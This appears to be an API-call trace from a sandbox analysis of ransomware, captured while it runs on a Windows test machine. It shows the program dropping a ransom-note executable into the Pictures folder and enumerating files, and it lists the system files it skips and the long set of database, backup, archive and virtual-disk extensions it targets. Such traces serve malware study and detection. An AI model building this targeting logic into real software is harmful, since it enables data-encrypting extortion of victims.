	[0087.035] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.036] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6564
	[0087.036] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x49, lpOverlapped=0x0) returned 1
	[0087.036] CloseHandle (hObject=0x10c) returned 1
	[0087.036] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b10
	[0087.036] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures"
	[0087.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcc20 | out: hHeap=0x580000) returned 1
	[0087.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0087.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 38
	[0087.036] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures"
	[0087.036] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.036] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.037] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.037] GetLastError () returned 0x0
	[0087.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.037] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.037] CloseHandle (hObject=0x10c) returned 1
	[0087.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.037] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.037] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3026bbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3026bbd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0087.037] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.038] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0087.038] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0087.038] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3026bbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3026bbd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.038] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.038] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0087.038] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0087.038] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0087.038] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5451070, ftCreationTime.dwHighDateTime=0x1d4cc6f, ftLastAccessTime.dwLowDateTime=0xf1329bc0, ftLastAccessTime.dwHighDateTime=0x1d4d2e0, ftLastWriteTime.dwLowDateTime=0xf1329bc0, ftLastWriteTime.dwHighDateTime=0x1d4d2e0, nFileSizeHigh=0x0, nFileSizeLow=0x770f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0wYzxz5EQs a.jpg", cAlternateFileName="0WYZXZ~1.JPG")) returned 1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="Apollon865.txt.exe") returned -1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2=".") returned 1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="..") returned 1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="windows") returned -1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="bootmgr") returned -1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="temp") returned -1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="pagefile.sys") returned -1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="boot") returned -1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="ids.txt") returned -1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="ntuser.dat") returned -1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="perflogs") returned -1
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="MSBuild") returned -1
	[0087.038] lstrlenW (lpString="0wYzxz5EQs a.jpg") returned 16
	[0087.038] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*") returned 40
	[0087.038] lstrcpyW (in: lpString1=0x119e656, lpString2="0wYzxz5EQs a.jpg" | out: lpString1="0wYzxz5EQs a.jpg") returned="0wYzxz5EQs a.jpg"
	[0087.038] lstrlenW (lpString="0wYzxz5EQs a.jpg") returned 16
	[0087.038] lstrlenW (lpString="Apollon865") returned 10
	[0087.038] lstrcmpiW (lpString1="5EQs a.jpg", lpString2="Apollon865") returned -1
	[0087.038] lstrlenW (lpString=".dll") returned 4
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2=".dll") returned 1
	[0087.038] lstrlenW (lpString=".lnk") returned 4
	[0087.038] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2=".lnk") returned 1
	[0087.038] lstrlenW (lpString=".ini") returned 4
	[0087.039] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2=".ini") returned 1
	[0087.039] lstrlenW (lpString=".sys") returned 4
	[0087.039] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2=".sys") returned 1
	[0087.039] lstrlenW (lpString="0wYzxz5EQs a.jpg") returned 16
	[0087.039] lstrlenW (lpString="bak") returned 3
	[0087.039] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0087.039] lstrlenW (lpString="ba_") returned 3
	[0087.039] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0087.039] lstrlenW (lpString="dbb") returned 3
	[0087.039] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0087.039] lstrlenW (lpString="vmdk") returned 4
	[0087.039] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0087.039] lstrlenW (lpString="rar") returned 3
	[0087.039] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0087.039] lstrlenW (lpString="zip") returned 3
	[0087.039] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0087.039] lstrlenW (lpString="tgz") returned 3
	[0087.039] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0087.039] lstrlenW (lpString="vbox") returned 4
	[0087.039] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0087.039] lstrlenW (lpString="vdi") returned 3
	[0087.039] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0087.039] lstrlenW (lpString="vhd") returned 3
	[0087.039] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0087.039] lstrlenW (lpString="vhdx") returned 4
	[0087.039] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0087.039] lstrlenW (lpString="avhd") returned 4
	[0087.039] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0087.039] lstrlenW (lpString="db") returned 2
	[0087.039] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0087.039] lstrlenW (lpString="db2") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0087.040] lstrlenW (lpString="db3") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0087.040] lstrlenW (lpString="dbf") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0087.040] lstrlenW (lpString="mdf") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0087.040] lstrlenW (lpString="mdb") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0087.040] lstrlenW (lpString="sql") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0087.040] lstrlenW (lpString="sqlite") returned 6
	[0087.040] lstrcmpiW (lpString1=" a.jpg", lpString2="sqlite") returned -1
	[0087.040] lstrlenW (lpString="sqlite3") returned 7
	[0087.040] lstrcmpiW (lpString1="s a.jpg", lpString2="sqlite3") returned -1
	[0087.040] lstrlenW (lpString="sqlitedb") returned 8
	[0087.040] lstrcmpiW (lpString1="Qs a.jpg", lpString2="sqlitedb") returned -1
	[0087.040] lstrlenW (lpString="xml") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0087.040] lstrlenW (lpString="$er") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0087.040] lstrlenW (lpString="4dd") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0087.040] lstrlenW (lpString="4dl") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0087.040] lstrlenW (lpString="^^^") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0087.040] lstrlenW (lpString="abs") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0087.040] lstrlenW (lpString="abx") returned 3
	[0087.040] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0087.040] lstrlenW (lpString="accdb") returned 5
	[0087.040] lstrcmpiW (lpString1="a.jpg", lpString2="accdb") returned -1
	[0087.040] lstrlenW (lpString="accdc") returned 5
	[0087.040] lstrcmpiW (lpString1="a.jpg", lpString2="accdc") returned -1
	[0087.041] lstrlenW (lpString="accde") returned 5
	[0087.041] lstrcmpiW (lpString1="a.jpg", lpString2="accde") returned -1
	[0087.041] lstrlenW (lpString="accdr") returned 5
	[0087.041] lstrcmpiW (lpString1="a.jpg", lpString2="accdr") returned -1
	[0087.041] lstrlenW (lpString="accdt") returned 5
	[0087.041] lstrcmpiW (lpString1="a.jpg", lpString2="accdt") returned -1
	[0087.041] lstrlenW (lpString="accdw") returned 5
	[0087.041] lstrcmpiW (lpString1="a.jpg", lpString2="accdw") returned -1
	[0087.041] lstrlenW (lpString="accft") returned 5
	[0087.041] lstrcmpiW (lpString1="a.jpg", lpString2="accft") returned -1
	[0087.041] lstrlenW (lpString="adb") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.041] lstrlenW (lpString="adb") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.041] lstrlenW (lpString="ade") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0087.041] lstrlenW (lpString="adf") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0087.041] lstrlenW (lpString="adn") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0087.041] lstrlenW (lpString="adp") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0087.041] lstrlenW (lpString="alf") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0087.041] lstrlenW (lpString="ask") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0087.041] lstrlenW (lpString="btr") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0087.041] lstrlenW (lpString="cat") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0087.041] lstrlenW (lpString="cdb") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0087.041] lstrlenW (lpString="ckp") returned 3
	[0087.041] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0087.042] lstrlenW (lpString="cma") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0087.042] lstrlenW (lpString="cpd") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0087.042] lstrlenW (lpString="dacpac") returned 6
	[0087.042] lstrcmpiW (lpString1=" a.jpg", lpString2="dacpac") returned -1
	[0087.042] lstrlenW (lpString="dad") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0087.042] lstrlenW (lpString="dadiagrams") returned 10
	[0087.042] lstrcmpiW (lpString1="5EQs a.jpg", lpString2="dadiagrams") returned -1
	[0087.042] lstrlenW (lpString="daschema") returned 8
	[0087.042] lstrcmpiW (lpString1="Qs a.jpg", lpString2="daschema") returned 1
	[0087.042] lstrlenW (lpString="db-journal") returned 10
	[0087.042] lstrcmpiW (lpString1="5EQs a.jpg", lpString2="db-journal") returned -1
	[0087.042] lstrlenW (lpString="db-shm") returned 6
	[0087.042] lstrcmpiW (lpString1=" a.jpg", lpString2="db-shm") returned -1
	[0087.042] lstrlenW (lpString="db-wal") returned 6
	[0087.042] lstrcmpiW (lpString1=" a.jpg", lpString2="db-wal") returned -1
	[0087.042] lstrlenW (lpString="dbc") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0087.042] lstrlenW (lpString="dbs") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0087.042] lstrlenW (lpString="dbt") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0087.042] lstrlenW (lpString="dbv") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0087.042] lstrlenW (lpString="dbx") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0087.042] lstrlenW (lpString="dcb") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0087.042] lstrlenW (lpString="dct") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0087.042] lstrlenW (lpString="dcx") returned 3
	[0087.042] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0087.042] lstrlenW (lpString="ddl") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0087.043] lstrlenW (lpString="dlis") returned 4
	[0087.043] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0087.043] lstrlenW (lpString="dp1") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0087.043] lstrlenW (lpString="dqy") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0087.043] lstrlenW (lpString="dsk") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0087.043] lstrlenW (lpString="dsn") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0087.043] lstrlenW (lpString="dtsx") returned 4
	[0087.043] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0087.043] lstrlenW (lpString="dxl") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0087.043] lstrlenW (lpString="eco") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0087.043] lstrlenW (lpString="ecx") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0087.043] lstrlenW (lpString="edb") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0087.043] lstrlenW (lpString="epim") returned 4
	[0087.043] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0087.043] lstrlenW (lpString="fcd") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0087.043] lstrlenW (lpString="fdb") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0087.043] lstrlenW (lpString="fic") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0087.043] lstrlenW (lpString="flexolibrary") returned 12
	[0087.043] lstrcmpiW (lpString1="xz5EQs a.jpg", lpString2="flexolibrary") returned 1
	[0087.043] lstrlenW (lpString="fm5") returned 3
	[0087.043] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0087.043] lstrlenW (lpString="fmp") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0087.044] lstrlenW (lpString="fmp12") returned 5
	[0087.044] lstrcmpiW (lpString1="a.jpg", lpString2="fmp12") returned -1
	[0087.044] lstrlenW (lpString="fmpsl") returned 5
	[0087.044] lstrcmpiW (lpString1="a.jpg", lpString2="fmpsl") returned -1
	[0087.044] lstrlenW (lpString="fol") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0087.044] lstrlenW (lpString="fp3") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0087.044] lstrlenW (lpString="fp4") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0087.044] lstrlenW (lpString="fp5") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0087.044] lstrlenW (lpString="fp7") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0087.044] lstrlenW (lpString="fpt") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0087.044] lstrlenW (lpString="frm") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0087.044] lstrlenW (lpString="gdb") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.044] lstrlenW (lpString="gdb") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.044] lstrlenW (lpString="grdb") returned 4
	[0087.044] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0087.044] lstrlenW (lpString="gwi") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0087.044] lstrlenW (lpString="hdb") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0087.044] lstrlenW (lpString="his") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0087.044] lstrlenW (lpString="ib") returned 2
	[0087.044] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0087.044] lstrlenW (lpString="idb") returned 3
	[0087.044] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0087.045] lstrlenW (lpString="ihx") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0087.045] lstrlenW (lpString="itdb") returned 4
	[0087.045] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0087.045] lstrlenW (lpString="itw") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0087.045] lstrlenW (lpString="jet") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0087.045] lstrlenW (lpString="jtx") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0087.045] lstrlenW (lpString="kdb") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0087.045] lstrlenW (lpString="kexi") returned 4
	[0087.045] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0087.045] lstrlenW (lpString="kexic") returned 5
	[0087.045] lstrcmpiW (lpString1="a.jpg", lpString2="kexic") returned -1
	[0087.045] lstrlenW (lpString="kexis") returned 5
	[0087.045] lstrcmpiW (lpString1="a.jpg", lpString2="kexis") returned -1
	[0087.045] lstrlenW (lpString="lgc") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0087.045] lstrlenW (lpString="lwx") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0087.045] lstrlenW (lpString="maf") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0087.045] lstrlenW (lpString="maq") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0087.045] lstrlenW (lpString="mar") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0087.045] lstrlenW (lpString="marshal") returned 7
	[0087.045] lstrcmpiW (lpString1="s a.jpg", lpString2="marshal") returned 1
	[0087.045] lstrlenW (lpString="mas") returned 3
	[0087.045] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0087.045] lstrlenW (lpString="mav") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0087.046] lstrlenW (lpString="maw") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0087.046] lstrlenW (lpString="mdbhtml") returned 7
	[0087.046] lstrcmpiW (lpString1="s a.jpg", lpString2="mdbhtml") returned 1
	[0087.046] lstrlenW (lpString="mdn") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0087.046] lstrlenW (lpString="mdt") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0087.046] lstrlenW (lpString="mfd") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0087.046] lstrlenW (lpString="mpd") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0087.046] lstrlenW (lpString="mrg") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0087.046] lstrlenW (lpString="mud") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0087.046] lstrlenW (lpString="mwb") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0087.046] lstrlenW (lpString="myd") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0087.046] lstrlenW (lpString="ndf") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0087.046] lstrlenW (lpString="nnt") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0087.046] lstrlenW (lpString="nrmlib") returned 6
	[0087.046] lstrcmpiW (lpString1=" a.jpg", lpString2="nrmlib") returned -1
	[0087.046] lstrlenW (lpString="ns2") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0087.046] lstrlenW (lpString="ns3") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0087.046] lstrlenW (lpString="ns4") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0087.046] lstrlenW (lpString="nsf") returned 3
	[0087.046] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0087.047] lstrlenW (lpString="nv") returned 2
	[0087.047] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0087.047] lstrlenW (lpString="nv2") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0087.047] lstrlenW (lpString="nwdb") returned 4
	[0087.047] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0087.047] lstrlenW (lpString="nyf") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0087.047] lstrlenW (lpString="odb") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.047] lstrlenW (lpString="odb") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.047] lstrlenW (lpString="oqy") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0087.047] lstrlenW (lpString="ora") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0087.047] lstrlenW (lpString="orx") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0087.047] lstrlenW (lpString="owc") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0087.047] lstrlenW (lpString="p96") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0087.047] lstrlenW (lpString="p97") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0087.047] lstrlenW (lpString="pan") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0087.047] lstrlenW (lpString="pdb") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0087.047] lstrlenW (lpString="pdm") returned 3
	[0087.047] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0087.047] lstrlenW (lpString="pnz") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0087.048] lstrlenW (lpString="qry") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0087.048] lstrlenW (lpString="qvd") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0087.048] lstrlenW (lpString="rbf") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0087.048] lstrlenW (lpString="rctd") returned 4
	[0087.048] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0087.048] lstrlenW (lpString="rod") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0087.048] lstrlenW (lpString="rodx") returned 4
	[0087.048] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0087.048] lstrlenW (lpString="rpd") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0087.048] lstrlenW (lpString="rsd") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
